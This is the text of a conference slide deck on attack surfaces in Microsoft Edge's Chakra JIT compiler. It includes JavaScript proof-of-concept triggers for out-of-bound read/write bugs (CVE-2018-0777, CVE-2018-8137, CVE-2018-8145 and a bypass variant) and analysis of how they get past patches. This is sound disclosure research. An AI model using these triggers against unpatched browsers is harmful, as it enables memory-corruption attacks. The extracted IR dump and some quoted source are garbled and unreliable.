Using the JIT vulnerability to Pwning Microsoft Edge

Zhenhuan Li(@zenhuman) & Shenrong Liu(@Cyriliu)
Tencent Security ZhanluLab

Black Hat Asia 2019
Who are we?

• Zhenhuan Li (@zenhumany)
  • Senior security researcher at Tencent Security ZhanluLab.
  • Have 8 years of experience in vulnerability & exploit research.
  • Research interests are browser 0day vulnerability analysis, discovery and exploit.
  • Won the Microsoft Mitigation Bypass Bounty in 2016.
  • Won the Microsoft Edge Web Platform on WIP Bounty.
  • MSRC Top 17 in year 2016.
  • Attend the TianfuCup 2018 Microsoft Edge Category get 8 points.

• Shenrong Liu (@Cyrilliu, @m00nls, @Cyrill1u)
  • Security researcher at Tencent Security ZhanluLab.
  • Focus on Code auditing and Fuzz test on open-source project.
  • Interested in the compilation principle and JIT.
  • Found several chromium vulnerabilities.
About ZhanluLab

- Director is yuange, the most famous security researcher in China
- 3 Researchers on MSRC top 100 in 2018
- Pwn2own 2017 winner, as Tencent Security Lance Team
- Twitter: @ZhanluLab
 Agenda

• The architecture of Chakra JIT Engine
• Attack Surface in the JIT compiler
• Interesting Vulnerabilities
• Exploit demo
Intermediate Representation

• Quaternion with three-address instruction
• m_dst = op m_src1, m_src2

```c++
135  class Instr
136  {
137    protected:
138    Instr(bool hasBailOutInfo = false) :
.......  
503    Js::OpCode m_opcode;
545    Opnd * m_dst;
546    Opnd * m_src1;
547    Opnd * m_src2;
551  };
```
Dataflow analysis in ChakraCore

• Build the IR code according to bytecode, and then build the Control Flow Graph (CFG) after inline calculation.
• Sort the Block by Depth-First Ordering (DFS).
• Iterative Dataflow analysis.
Loop in GlobOpt

• Sort the Block by Depth-First Ordering (DFS).

• If the function doesn’t contain loops, the dataflow analysis can be finished with only one iteration.

• If it contains loops, the Instr (the loop depth of the basic block where Instr is located is loop_depth) in loop will be iterated loop_depth + 1 times.

```javascript
function opt(arr, start, end) {
    var r = 0;
    var a = 3, b = 4;
    r = a + b;

    for (let i = start; i < end; i++) {
        for (let s = 0; s < 10; s++)
            arr[i] = 0x100;
        arr[i] = 2.3023e-320;
    }
}
```
GlobOpt::Optimize

163  void
164  GlobOpt::Optimize()
165  {
166    
203    this->BackwardPass(Js::BackwardPhase);
204    this->ForwardPass();
205    this->BackwardPass(Js::DeadStorePhase);
206  }
207  this->TailDupPass();
208  }
GlobOpt::Optimize

- Why there are two `BackwardPass` functions?
  - The `infos (upwardExposedUses)` forward pass used can only be got from the backward pass.
- `BackwardPass(Js::BackwardPhase)` will calculate the `upwardExposedUses`
- `BackwardPass(Js::DeadStorePhase)` will do temp variables processing, dead store `Instr` removing, escape Analysis and so on.
# Global Optimization

<table>
<thead>
<tr>
<th>Global Optimization</th>
</tr>
</thead>
<tbody>
<tr>
<td>Escape Analysis</td>
</tr>
<tr>
<td>Common Subexpression Elimination</td>
</tr>
<tr>
<td>Type Specialization</td>
</tr>
<tr>
<td>Constant Folding</td>
</tr>
<tr>
<td>Bound Check Elimination</td>
</tr>
<tr>
<td>Loop-Invariant Code Motion</td>
</tr>
<tr>
<td>Bound Check Hoist In Loop</td>
</tr>
<tr>
<td>Dead Code Elimination</td>
</tr>
</tbody>
</table>

......
Above, we focus on the Global optimization. The complete JIT process as shown as the picture on the right.
Attack Surfaces in Chakra JIT compiler

• Side Effect
• Bound Check Elimination
• Bound Check Hoist
• Some other Attack Surfaces
Side Effect

- Side Effect: the opcode has side effect, means that the opcode not only has an effect on the dst/src in the Instr, but also has an effect on the instructions that follow the Instr.
OpCode Static Attribute

• Each OpCode has much attributes which are defined in the file named “OpCodes.h”.
• In this section, we will focus on the attributes as follows:
  • OpOpndHasImplicitCall, OpHasImplicitCall
Instr bailout type

- Define in file named “BailOutKind.h”
- BailoutOnImplicitCalls
- BailoutOnImplicitCallsPreOp

14 BAIL_OUT_KIND(BailOutOnImplicitCalls,
15 BAIL_OUT_KIND(BailOutOnImplicitCallsPreOp,

IR::BailOutForArrayBits)
IR::BailOutOnResultConditions
ThreadContext

• ThreadContext
  • disableImplicitFlags: DisableImplicitFlags
  • implicitCallFlags: Js::ImplicitCallFlags
In the GlobOpt::Optimize function, it will calculate the type for instr’s bailout.

- this->ForwardPass();
  - Here it will initialize the type for instr's bailout.
- this->BackwardPass(Js::DeadStorePhase)
  - Here it will calculation the type for instr's bailout.
Lowerer

• After GlobOpt::Optimize finished, lowerer will be called to lower the Instrs.

• The lowerer phase will process the instr’s bailout as follows:
  • Bailout type “BailoutImplicitCalls:” will generate the guard check Instr to check the flag named “implicitCallFlags”
  • Bailout type “BailoutOnImplicitCallsPreOp:” will generate the guard check Instr to check the “implicitCallFlags”, also will generate the code to set “disableImplicitFlags” to 1.
Runtime check function

```cpp
// Don't call the implicit call if disable implicit call
if (IsDisableImplicitCall())
{
    AddImplicitCallFlags(flags);
    return $this->GetScriptContext()->GetLibrary()->GetUndefined();
}
```
Demo test

/*
GlobOpt command:
ch.exe -mic:2 -off:simplejit -bgjit -dump:GlobOpt -debugbreak:2 demo.js
Lowerer command:
ch.exe -mic:2 -off:simplejit -bgjit -dump:lowerer -debugbreak:2 demo.js
*/
ua = new Uint32Array( 0x100 )
function opt( num )
{
    ua[0x10] = 0x10;
    ua[0x05] = num;
}
opt( 5 );
opt( {});
opt( {});
GlobOpt::Optimize

• After the GlobOpt phase finished, the Instrs information look like as follows:
After the Lowerer phase finished, the Instrs information look like as follows:

1. Set ImplicitCallFlags 1
2. Set DisableImplicitCallFlags 1, disable implicit call
3. Clear DisableImplicitCallFlags to 0
4. If implicitCallFlags not equal 1, indicates that an implicit call, go to bailout
5. Bailout
Side Effect Attack Point

```
Side Effect Attack Point

compiler
start
Define OpCode Attribute
GlobOpt::Optimize
  ForwardPass
  BackwardPass
initialize and calculation Instr bailout type
Lowerer
According the Instr bailout type to generate the side effect guard check Instr
Other compile phase
  Generate jit code
End
```

```
jit code run
start
jit code run
ThreadContext::ExecuteImplicitCall
End
```

Attack Point1
Attack Point2
Attack Point3
Attack Point4
Attack Points on Side Effect

• Attack Point 1: The opcode might have side effect, but the side effect attribute haven’t been defined on it.

• Attack Point 2: Instr bailout calculation has errors, or doesn’t set BailoutImplicitCalls, BailoutOnImplicitCallsPreOp flags correctly.

• Attack Point 3: When lowering the Instrs, It forgets to generate side effect guard Instr or does it incorrectly.

• Attack Point 4: The callback runtime functions haven’t set the flags
Other Attack Points on Side Effect

• The opcode doesn’t lead to callback, but the runtime codes can be called to change some object’s type, this may effect the Instrs followed by it.
• The incorrect implementation of `ThreadContext::ExecuteImplicitCall` may cause vulnerabilities
Summary of side effect

• Chakra JIT Engine checks the side effect uses following steps.
  • 1. Chakra JIT engine generate the side effect check instruction during the compiler process.
  • 2. When the JIT code is running, runtime functions will call the implicit function to set the ThreadContext::ImplicitCallFlags.

• The codes in step 1 and 2 are all written by hand, code in step 1 and 2 have no synchronization mechanism, it may make mistakes easily.
Bound Check Elimination

• Array access is the major optimization in Javascript, the Chakra JIT engine will do optimization according to different situation. If we can write some special codes that let the JIT engine eliminate the Bound check incorrectly, it can cause out-of-bound read/write vulnerabilities.
Bound check elimination

Begin

Calculate index range[index_low,index_high]
Calculate length range [length_low,length_high]

Eliminate bound check
Index_low>=0
eliminatelowboundcheck=true
Index_high<=length_low
eliminateupperboundcheck=true

eliminatelowboundcheck&&
eliminateupperboundcheck is true

StElemInfo
createdMissingValue
filledMissageValue
neededHelperCall
storedOutsideHeadSegmentBounds is all false

doExtractBoundCheck = True

ExtractBoundCheck

End

Attack Point 1

Attack Point 2
Bound check elimination

• Attack Point 1: The calculation of Index range or array length incorrect, may cause out of bound read/write vulnerabilities.

• Attack Point 2: Chakra Engine uses more than 3000 lines codes to implement the hoist of array BoundCheck, the implementation process is very complicated. From a security perspective, the more complex the code, the easier it is to cause a vulnerability.
Bound Check Hoist

• If there are array access in loop, the JIT engine might hoist the array access check out of the loop.

• If the hoist is error, an out-of-bound read/write vulnerability can be caused.

• Chakra Engine uses more than 3000 lines codes to implement the hoist of array access boundary check, the implementation process is very complicated. From a security perspective, the more complex the code, the easier it is to lead to vulnerability.
Data Structure

class RegOpnd : public Opnd {
public:
    StackSym * m_sym;
}

class Sym {
    SymID m_id;
}

class BasicBlock {
    // Global optimizer data
    GlobOptBlockData globOptData;
}

class GlobOptBlockData {
    GlobHashTable* symToValueMap;
}

class Value {
    private:
        const ValueNumber valueNumber;
        Valuelnfo *valueInfo;
    }
Combined data structure

**Instr**

- `m_dst Opnd m_sym->m_id` = `m_src1 Opnd m_sym->m_id`
- `op`
- `m_src2 Opnd m_sym->m_id`

- `BasicBlock globOptData->symToValueMap`
- `Value valueNumber:ValueNumber valuelInfo: *ValuelInfo`
- `BasicBlock globOptData->symToValueMap`
- `Value valueNumber:ValueNumber valuelInfo: *ValuelInfo`
- `BasicBlock globOptData->symToValueMap`
- `Value valueNumber:ValueNumber valuelInfo: *ValuelInfo`
## IntBoundedValueInfo

```cpp
class IntBounds sealed
{
private:
    int constantLowerBound, constantUpperBound;
    bool wasConstantUpperBoundEstablishedExplicitly;
    RelativeIntBoundSet relativeLowerBounds;
    RelativeIntBoundSet relativeUpperBounds;
};

typedef JsUtil::BaseHashSet<ValueRelativeOffset, JitArenaAllocator, PowerOf2SizePolicy, ValueNumber> RelativeIntBoundSet;
```
IntBounds

• \([\text{constantLowerBound}, \text{constantUpperBound}]\) is the range of IntBounds.

• RelativeIntBoundSet: contains the value which is used to represent the IntBounds.
availableIntBoundChecks

typedef JsUtil::BaseHashSet<IntBoundCheck, JitArenaAllocator, PowerOf2SizePolicy, IntBoundCheckCompatibilityId> IntBoundCheckSet;

class GlobOptBlockData
{
    IntBoundCheckSet * availableIntBoundChecks;
}

class IntBoundCheck
{
private:
    ValueNumber leftValueNumber, rightValueNumber;
    IR::Instr *instr;
    BasicBlock *block;
}
Demo code

```javascript
// -trace:ValueNumbering
function opt(arr, idx) {
  let index = idx;
  if(index >= 0x30 || true )
  {
    arr[index-0x10]=0x1234;
  }
  if( index<=0x7fffffff )
  {
    //arr[idx] = 0x2345;
    arr[index -0x05] = 0x12345;
  }
}

function main() {
  let arr = new Uint32Array(0x800);
  opt(arr,0x30);
  opt(arr,0x80);
}
main();
```
• \( S_{13}(\text{ValueNumber}_{14}) = s_{10}(\text{ValueNumber}_{11}) - 0x10 \)
• \( S_{13}(\text{ValueNumber}_{14}) \leftarrow s_{10}(\text{ValueNumber}_{11}) \)
• \( S_{10}(\text{ValueNumber}_{11}) \leftarrow s_{13}(\text{ValueNumber}_{14}) \)
availableIntBoundChecks

• \(s_{13} \geq 0 \land s_{13} \leq \text{headSegmentLength} - 1\)
• \(<\text{leftValueNumber}, \text{rightValueNumber}>\) set is
  \([1,14],[14,\text{headSegmentLength ValueNumber}]\)
• $S_{18}(ValueNumber_{16}) = s_{10}(ValueNumber_{11}) - 0x05$
• $S_{18}(ValueNumber_{16}) \leftarrow s_{10}(ValueNumber_{11})$
• $S_{18}(ValueNumber_{16}) \leftarrow s_{13}(ValueNumber_{14})$
• $s_{10}(ValueNumber_{11}) \leftarrow s_{18}(ValueNumber_{16})$
Function opt (<\$1.1\>, <\$2\>)  

Instruction Count: 30

FunctionEntry  

BLOCK 0: Out(1) DeadOut(2)

$\text{L7:}$  

\begin{align*}
\text{s9} & \text{!LikelyCanBeTaggedValue_\text{UInt32Array}}.\text{var = \text{ArgIn}_A \ \text{pro2C40}! \text{!LikelyCanBeTaggedValue_\text{UInt32Array}}.\text{var!} \\ 
\text{s10} & \text{!LikelyCanBeTaggedValue_\text{Int1}}.\text{var = \text{Argin}_A \ \text{pro3C48}! \text{!LikelyCanBeTaggedValue_\text{Int1}}.\text{var!}}
\end{align*}

Line 7: let index=idx;
Col 2: ^

StatementBoundary #0  

#0002

Line 8: if(index >= 0x30 !: true )
Col 2: ^

DeadBrRelational s10!LikelyCanBeTaggedValue_\text{Int1}.var, 0x100000000000030.var  #0005

Line 10: arr[index=0x101=0x1234];
Col 3: ^

StatementBoundary #2  

#0010

s25<s10>.i32 = FromStr s10!LikelyCanBeTaggedValue_\text{Int1}.var!  

s26<s13>.i32 = Sub14 s25<s10>.i32, it 0x101>.i32  

 ArrangeNotArray s9!LikelyCanBeTaggedValue_\text{UInt32Array}.\text{var}  

s0814 Bailout: #0010 (BailOutIntOnly)

s28.u32 = LaIndir #s9!Int32Array.var+321.u32  

BoundCheck 0 <= s26<s13>.i32  

s28.u32 = -12  

BoundCheck s26<s13>.i32 <= s28.u32 - 12  

LaIndir #s9!Int32Array.var+561.u32  

$\text{L13:}$  

if (index<0x1fff)  

StatementBoundary #3  

#001a

BLOCK 1: In(0) Out(2)

$\text{L6:}$  

Line 16: arr[index = 0x05] = 0x12345;
Col 3: ^

StatementBoundary #4  

#0022

s29<s10>.i32 = Sub14 s25<s10>.i32, 5 0x5>.i32  

$\text{L16:}$  

Line 16: arr[index=0x12345];
Col 3: ^

StatementBoundary #4  

#0022

s29<s10>.i32 = Sub14 s25<s10>.i32, 5 0x5>.i32  

$\text{L16:}$  

Line 16: arr[index=0x12345];
Col 3: ^

StatementBoundary #4  

#0022

s29<s10>.i32 = Sub14 s25<s10>.i32, 5 0x5>.i32
• $s_{18} = s_{13} + 0x0b$

• \[
\left\{ \begin{array}{l}
0 \leq s_{13} \leq \text{headSegmentLength} - 1 \\
0 \leq s_{18} \leq \text{headSegmentLength} - 1 \\
0 \leq s_{13} + 0x0b \leq \text{headSegmentLength} - 1 \\
\{0 \leq s_{13} \leq \text{headSegmentLength} - 0x0c
\end{array} \right.\]
landingPad BasicBlock

• landingPad is inserted as a BasicBlock before loopheader BasicBlock.
• It is used to simplify loop optimization, contains hoisting Instrs.
Hoist Bound Check to landingPad

• When index is not constant, headSegmentLength is not changed in loop, if one of the following conditions is met, BoundCheck can be hoisted to landingPad BasicBlock
  • \( \text{currentblock\_Index\_valueNumber} = \text{landingPad\_index\_valueNumber} \) (index is invariant)
  • \( \text{currentblock\_indexrelative\_valueNumber} = \text{landingPad\_indexrelative\_valueNumber} \) (indexrelative is invariant)
  • \( \text{currentblock\_indexrelative\_valueNumber} = \text{landingPad\_index\_valueNumber} \) (index is variant)
class LoopCount {
    private:
        bool hasBeenGenerated;

    // Information needed to generate the loop count instructions
    //  loopCountMinusOne = (left - right + offset) / minMagnitudeChange
    StackSym *leftSym, *rightSym;
    int offset, minMagnitudeChange;

    // Information needed to use the computed loop count
    StackSym *loopCountMinusOneSym;
    StackSym *loopCountSym; // Not generated by default and depends on loopCountMinusOneSym
    int loopCountMinusOneConstantValue;
Induction Variables

• In chakra engine, if a var has following formats
  • $index = index + offset$ or $index = index - offset$
  • $index + +, index --, + +index, - -index$

• The index is an Induction Variable.

```cpp
class InductionVariable
{
  public:
    static const int ChangeMagnitudeLimitForLoopCountBasedHoisting;

  private:
    StackSym *sym;
    ValueNumber symValueNumber;
    IntConstantBounds changeBounds;
    bool isChangeDeterminate;
}

class IntConstantBounds
{
  private:
    int32 lowerBound;
    int32 upperBound;
}
Loopcount + InductionVariable can be hoisted

- Upperboundcheck(loopCount isn’t constant )
  \[
  \text{index} + \text{indexOffset} + \text{loopCountMinusOne} \times \text{maxChange} \leq \text{headSegmentLength} - 1
  \]
  \[
  \text{maxChange} = \text{InductionVariable}.\text{changeBounds}.\text{upperBound}
  \]
  \[
  \text{loopCountMinusOne} = (\text{left} - \text{right} + \text{offset})/\text{minMagnitudeChange}
  \]

- Upperboundcheck( loopCount is constant )
  \[
  \text{index} + \text{indexOffset} + \text{loopCountMinusOneConstantValue} \times \text{maxChange} < \text{HeadSegmentLength}
  \]
  \[
  \text{loopCountMinusOneConstantValue} = \text{offset}/\text{minChange}
  \]
## BoundCheck Optimize

<table>
<thead>
<tr>
<th>Condition</th>
<th>availableIntBoundChecks</th>
<th>Loop Hoist</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>lowerBoundCheck</td>
<td>upperBoundCheck</td>
</tr>
<tr>
<td>index is constant</td>
<td>applicable 1</td>
<td>applicable 1</td>
</tr>
<tr>
<td>index is invariant</td>
<td>applicable 3</td>
<td>applicable 3</td>
</tr>
<tr>
<td>index’s RelativeIntBoundSet is invariant</td>
<td>applicable 4</td>
<td>applicable 4</td>
</tr>
<tr>
<td>currentBlock index’s RelativeIntBoundSet contains index in landingPad block</td>
<td>not applicable</td>
<td>not applicable</td>
</tr>
<tr>
<td>loopCount +InductionVariable(index)</td>
<td>not applicable</td>
<td>not applicable</td>
</tr>
</tbody>
</table>
Summary

• Based on above, we can draw a conclusion about BoundCheck Optimization just like the picture above. It has 8 optimizable situation, each situation contains lowerboundcheck and upperboundcheck, so totally has 16 code branch.

• The logical organization of the code is in the order talked above

• The code which are more than 3000 lines are very complicated

• From a security perspective, the more complex the code, the more likely it is to cause a vulnerability.

• More details about BoundCheck hoist can found in the appendix.
Some other Attack Surfaces

• Escape Analysis
• Type Check Hoist in Loop
• Magic Number about MissingValue in Array
• Multiple use of one field in Data Structures
• ......
Interesting Vulnerabilities

• Bound Check Elimination
  • CVE-2018-0777, CVE-2018-8137, a killed 0day

• Bound Check Hoist
  • CVE-2018-8145, CVE-2019-0592

• Mitigation for the OOB R/W Vulnerability

• Side Effect
  • CVE-2019-0650

• Multiple uses of auxSlots
  • CVE-2019-0567
function opt(arr, start, end) {
    for (let i = start; i < end; i++) {
        if (i === 10) {
            i += 0;
        }
        arr[i] = 2.3023e-320;
    }
}

let arr = new Array(100);
arr.fill(1.1);
opt(arr, 0, 3);
opt(arr, 0, 100000);
Root cause analysis

if(addSubConstantInfo && !addSubConstantInfo->SrcValueIsLikelyConstant() && DoTrackRelativeIntBounds())
{
  Assert(!ignoredIntOverflowForCurrentInstr);

  // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track that
  // it is equal to (the value of 'a') + 2. Additionally, the value of 'b' should inherit the bounds of 'a', offset by
  // the constant value.
  if(!valueType.IsInt() || !isValueInfoPrecise)
  {
    newMin = INT32_MIN;
    newMax = INT32_MAX;
  }
  dstBounds =
    IntBounds::Add(
      addSubConstantInfo->SrcValue(),
      addSubConstantInfo->Offset(),
      isValueInfoPrecise,
      IntConstantBounds(newMin, newMax),
      alloc);
}
• addSubConstraintInfo->SrcValues LikelyConstant( ) is true
  • Index Value is not an IntBounds
• If Index Value is not an IntBounds, the BoundCheck optimization adopt loopcount + InductionVariable mode.
Bound Check Elimination/Hoist

Begin

Get BoundCheck Hoist Info

index_range:[index_min,index_max]
hs_length_range:[hs_length_min,hs_length_max]
offset

Index_max <= hs_length_min + offset

Y

Bound Check Elimination

end

N

Bound Check Hoist

Generate BoundCheck Instr in ladingPad block

Attack Point 2

Attack Point 1
adopt loopCount + InductionVariable

- index range: [-0x80000000, 0x7fffffff]
- headSegmentLength range: [0, 0x7fffffff]
- offset: 0x7fffffff

- Put the above values into the following inequality
  - $\text{index\_max} \leq \text{headSegmentLength\_max} + \text{offset} \Rightarrow 0x7fffffff <= 0x7fffffff$ is true

- So in this case, the upperboundcheck will be eliminated, it will cause an out of bound read/write vulnerability.
Patch about CVE-2018-0777
this->ToInt32Dst(instr, dst->AsRegOpnd(), this->currentBlock);

// If this is an induction variable, then treat it the way the prepass would have if it had seen
// the assignment and the resulting change to the value number, and mark it as indeterminate.
for (Loop * loop = this->currentBlock->loop; loop; loop = loop->parent)
    {
        InductionVariable *iv = nullptr;
        if (loop->inductionVariables && loop->inductionVariables->TryGetReference(dstSym->m_id, &iv))
            {
                iv->SetChangeIsIndeterminate();
            }
    }

return true;
CVE-2018-0777

• ConstFold will change the Induction Variable ValueType, In GlobOpt::OptConstFoldBinary, GlobOpt::OptConstFoldUnary function it will mark the Induction Variable as indeterminate.

• In the BoundCheck Hoist Phase, because the Induction Variable is already marked as indeterminate, the conditions of loopcount+InductionVariable pattern will not match, and the hoist of BoundCheck Instr will fail.
CVE-2018-0777 patch timeline

• This vulnerability found by Lokihardt of Google Project Zero
• Patched in Jan 2018 Chakra Security Update
CVE-2018-8137: bypass the patch

• Analyze the CVE-2018-0777, the poc has the following features:
  • The Index’s ValueType is not IntBounds
  • The Index is Induction Variable and the Induction Variable is determinate.
• If meet the above feature, we can get a vulnerability.
CVE-2018-8137: bypass the patch

//ch.exe -mic:1 -off:simplejit -bgjit- -dump:GlobOpt
function opt(arr, start, end) {
    for (let i = start; i < end; i++) {
        if (i == 10) {
            for(let j=0;j<10;j++)
                i+=0;
        }
        arr[i] = 2.3023e-320;
    }
}
let arr = new Array(100);
arr.fill(1.1);
opt(arr, 0, 3);
opt(arr, 0, 100000);
bool GlobOpt::OptConstFoldBinary(
    IR::Instr * *pInstr,
    const IntConstantBounds &src1IntConstantBounds,
    const IntConstantBounds &src2IntConstantBounds,
    Value **pDstVal)
{
    IR::Instr * &instr = *pInstr;
    int32 value;
    IR::IntConstOpnd *constOpnd;
    if (!DoConstFold())
    {
        return false;
    }

    if (instr->IsBranchInstr())
    {
        src1MinIntConstantValue = src1IntConstantBounds.LowerBound();
        src1MaxIntConstantValue = src1IntConstantBounds.UpperBound();
        src2MinIntConstantValue = src2IntConstantBounds.LowerBound();
        src2MaxIntConstantValue = src2IntConstantBounds.UpperBound();
    }
    else if (src1IntConstantBounds.IsConstant() && src2IntConstantBounds.IsConstant())
    {
        src1IntConstantValue = src1IntConstantBounds.LowerBound();
        src2IntConstantValue = src2IntConstantBounds.LowerBound();
    }
    else
    {
        return false;
    }

    // If this is an induction variable, then treat it the way the prepass would have if it had
    // the assignment and the resulting change to the value number, and mark it as indeterminate
    for (Loop * loop = this->currentBlock->loop; loop; loop = loop->parent)
    {
        InductionVariable **iv = nullptr;
        if (loop->inductionVariables && loop->inductionVariables->TryGetReference(dstSym->m_id, iv)
            iv->SetChangeIsIndeterminate();
    }

    return true;
Bypass the patch

• If we can make
  
  src1IntConstantBounds.IsConstant() && src2IntConstantBounds.IsConstant()

false, then the Induction Variable will not be marked as indeterminate, so we will bypass the patch.
ValueNumbering Trace

- Not Add “for(let j=0;j<10;j++)”
ValueNumbering Trace

• Add “for(let j=0;j<10;j++)”

```javascript
for(let j=0;j<10;j++) {
    // Add code here...
}
```

Add “for(let j=0;j<10;j++)”

• After the addition of “for(let j=0;j<10;j++)” statement, we have seen that the src1 is not a constant, the induction variable is determinate, so we can bypass the patch!
Patch about CVE-2018-8137

[CVE-2018-8137] Edge - chakra JIT array out of bound read/write vuln...
...ability lead to Remote Code Execution

sigatrev authored and MSLaguana committed on 19 Apr 2018

Showing 3 changed files with 29 additions and 20 deletions.

lib/Backend/GlobOpt.cpp

```cpp
6482 6482
6483 6483
6484 6484

-6482,6 +6482,8  GlobOpt::OptConstPeep(IR::Instr *instr, IR::Opnd *constSrc, Value **pDstVal, Val

    instr->m_opcode = Js::OpCode::Ld_A;

+6485 + InvalidateInductionVariables(instr);

+6486 + return true;
```

68
Patch about CVE-2018-8137

```c
if (instr->GetSrc2() && this->TypeSpecializeBinary(&instr, pSrc1Val, pSrc2Val, pDstVal, src1OriginalVal, src2OriginalVal,
{
    if (!this->IsLoopPrePass() &&
        instr->m_opcode != Js::OpCode::Nop &&
        instr->m_opcode != Js::OpCode::Br &&     // We may have const fold a branch

    // Cannot const-peep if the result of the operation is required for a bailout check
    !(instr->HasBailOutInfo() && instr->GetBailOutKind() & IR::BailOutOnResultConditions))
{
    if (src1Val && src1Val->GetValInfo()->HasIntConstantValue())
    {
        if (this->OptConstPeep(instr, instr->GetSrc1(), pDstVal, src1Val->GetValInfo()))
        {
            return instr;
        }
    }
    else if (src2Val && src2Val->GetValInfo()->HasIntConstantValue())
    {
        if (this->OptConstPeep(instr, instr->GetSrc2(), pDstVal, src2Val->GetValInfo()))
        {
            return instr;
        }
    }
}
```
Patch about CVE-2018-8137

- TypeSpecializeBinary will call OptConstFoldBinary or OptConstFoldUnary function, after this it will call OptConstPeep, it will make the Induction Variable indeterminate.
CVE-2018-8137 patch timeline

• We found this vulnerability at Jan 2018.
• Patched by Microsoft’s May 2018 Security Update.
Bypass patch again: a killed 0day

//ch.exe -mic:1 -off:simplejit -bgjit- -dump:GlobOpt
function opt(arr, start, end) {
  for (let i = start; i < end; i++) {
    if (i == 10) {
      for(let j=0; j<0; j++)
        i+=0;
    }
    arr[i] = 2.3023e-320;
  }
}
let arr = new Array(100);
arr.fill(1.1);
opt(arr, 0, 3);
opt(arr, 0, 100000);
"let j=0; j<0"
“let j=0; j<0”

- \([\min1, \max1] = [0, 0x7fffffff], [\min2, \max2] = [0, 0]\)
- Because \(\min1 \geq \max2\), \(\text{ValueInfo}::\text{IsGreaterThanOrEqualTo}\) return true, so the code will run \(\text{OptConstFoldBr}\).
void GlobOpt::OptConstFoldBr(bool test, IR::Instr *instr, Value *src1Val, Value *src2Val)
{
    GOPT_TRACE_INSTR(instr, __u("Constant folding to branch: ");
    BasicBlock *deadBlock = instr->m_next->AsLabelInstr()->GetBasicBlock();
    if (test) {
        instr->m_opcode = Js::OpCode::Br;
        instr->FreeSrc1();
        if (instr->GetSrc2())
            instr->FreeSrc2();
        if (deadBlock->GetPredList()->Count() == 0)
            deadBlock->SetDataUseCount(0);
    }
    this->currentBlock->RemoveDeadSucc(deadBlock, this->func->m_fg);
}
Remove DeadBlock

• OptConstFoldBr will remove DeadBlock, so the instr “i+=0” also will be removed.

• This cause the following result
  • During the preLoop Phase, the “i+=0” will make the ValueType of i to be not IntBounds.
  • During the non-preLoop phase, because Deadblock was removed, the “i+=0” is also removed, so the OptConstFoldUnary, OptConstFoldBinary, OptConstPeep will not run. the Induction Variable “i” is determinate. So we got an vulnerability again!
this killed 0day patch timeline

• We found this vulnerability before May 2018.
• This vulnerability can’t exploit because of the mitigation added in Security Update at May 2018. So I haven’t reported it to Microsoft.
• Then Microsoft updated the mitigation in Security Update at Jul 2018, it became a valid vulnerability that can cause an out-of-bound read in ChakraCore. (I forget to report it to MSRC).
• Finally Patched in Microsoft Aug 2018 Security Update.
Finally patch about this attack Point

• ChakraCore August 2018 Security Update
• https://github.com/Microsoft/ChakraCore/pull/5596/commits/e9d6a3e3bc050719e5889695705467496f920d5d
remove unsafe bound check elimination

When deciding if we can eliminate a bound check we check if the max value for the index is less than the min value for the length. If this is true, we can remove the bound check.

In the code we were testing if indexUpperBound <= lengthLowerBound + (-1 - indexLowerBound). If the index lower bound is less than 0 (e.g. if it is INT_MIN because we don’t know the range), we may incorrectly eliminate bound checks.

This was essentially never kicking in, so I removed the condition altogether.

MikeHolman authored and aneeshdk committed on 14 Jun 2018
897: Assert(indexIntSym || indexIntSym->GetType() == TyInt32 || indexIntSym->GetType() == TyUint32);

900: // The info in the landing pad may be better than the info in the current block due to changes made to
901: // the index sym inside the loop. Check if the bound check we intend to hoist is unnecessary in the
902: // landing pad.
903: if (!ValueInfo::IsLessThanOrEqualTo(
904: .nullptr,
905: 0,
906: 0,
907: hoistInfo.IndexValue(),
908: hoistInfo.IndexConstantBounds().LowerBound(),
909: hoistInfo.IndexConstantBounds().UpperBound(),
910: hoistInfo.Offset()))
911: if (hoistInfo.IndexSym())
912: Assert(hoistInfo.IndexSym());
913: Assert(hoistInfo.Loop()->bailOutInfo);
914: glooOpt->EnsureBailTarget(hoistInfo.Loop());

1156: Assert(!indexIntSym || indexIntSym->GetType() == TyInt32 || indexIntSym->GetType() == TyUint32);
void GlobOpt::ArraySrcOpt::DoUpperBoundCheck()
{
    Assert(!indexIntSym || indexIntSym->GetType() == TyInt32 || indexIntSym->GetType() == TyUint32);
}

// The info in the landing pad may be better than the info in the current block due to changes made to the
// index sym inside the loop. Check if the bound check we intend to hoist is unnecessary in the landing pad.
if (!ValueInfo::IsLessThanOrEqualTo(
    hoistInfo.IndexValue(),
    hoistInfo.IndexConstantBounds().LowerBound(),
    hoistInfo.IndexConstantBounds().UpperBound(),
    hoistInfo.HeadSegmentLengthValue(),
    hoistInfo.HeadSegmentLengthConstantBounds().LowerBound(),
    hoistInfo.HeadSegmentLengthConstantBounds().UpperBound(),
    hoistInfo.Offset()))
{
    Assert(hoistInfo_LOOP()->bailOutInfo);
    globOpt->EnsureBailTarget(hoistInfo_LOOP());
}

Assert(hoistInfo_LOOP()->bailOutInfo);
globOpt->EnsureBailTarget(hoistInfo_LOOP());

if (hoistInfo_LOOPCount())
{
    // Generate the loop count and loop count based bound that will be used for the bound check

Finally Patch

• This patch removed the ValueInfo::IsLessThanOrEqualTo branch, no matter what the situation, the BoundCheck Instr just can be hoisted, will never be eliminated. So the attack point no longer exists.
function opt(arr, step) {
  if (arr.length < 0x10)
    return;
  let index = 0;
  for (var t = 2; t < step; t++)
    {
      if (t >= 5)
        index += 0x20;
      else
        index += 0x40;
      arr[index] = 4;
    }
}

ua = new Uint32Array(0x1000);
opt(ua, 0x10);
ua = new Uint32Array(0x75);
opt(ua, 4);
loopcount + inductionVariable

• Upperboundcheck formula

\[
\begin{align*}
\text{index} + \text{indexoffset} + \text{loopCountMinusOne} \times \text{maxChange} & \leq \text{headSegmentLength} - 1 \\
\text{maxChange} &= \text{InductionVariable}\. \text{changeBounds}\. \text{upperBound} \\
\text{loopCountMinusOne} &= \frac{\text{left} - \text{right} + \text{offset}}{\text{minMagnitudeChange}}
\end{align*}
\]
CVE-2018-8145

• Loopcount is created according to InductionVariable t
• left = index=0, right = 0, offset = -3
• loopCountMinusOne = (index-3)/1
• maxChange = 0x40
• indexOffset = 0x20
• So 0 + 0x20 + (4-3)/1 *0x40 < 0x75-1
CVE-2018-8145

• Run the code
• First Cycle
  • t=2 t<4; index = 0x40 ; access arr[0x40]
• Second Cycle:
  • t=3 t<4;index=0x40+0x40 = 0x80 ; access arr[0x80], cause out of bound read/write
The root cause

• `loopCountMinusOne` means `loopCount - 1`
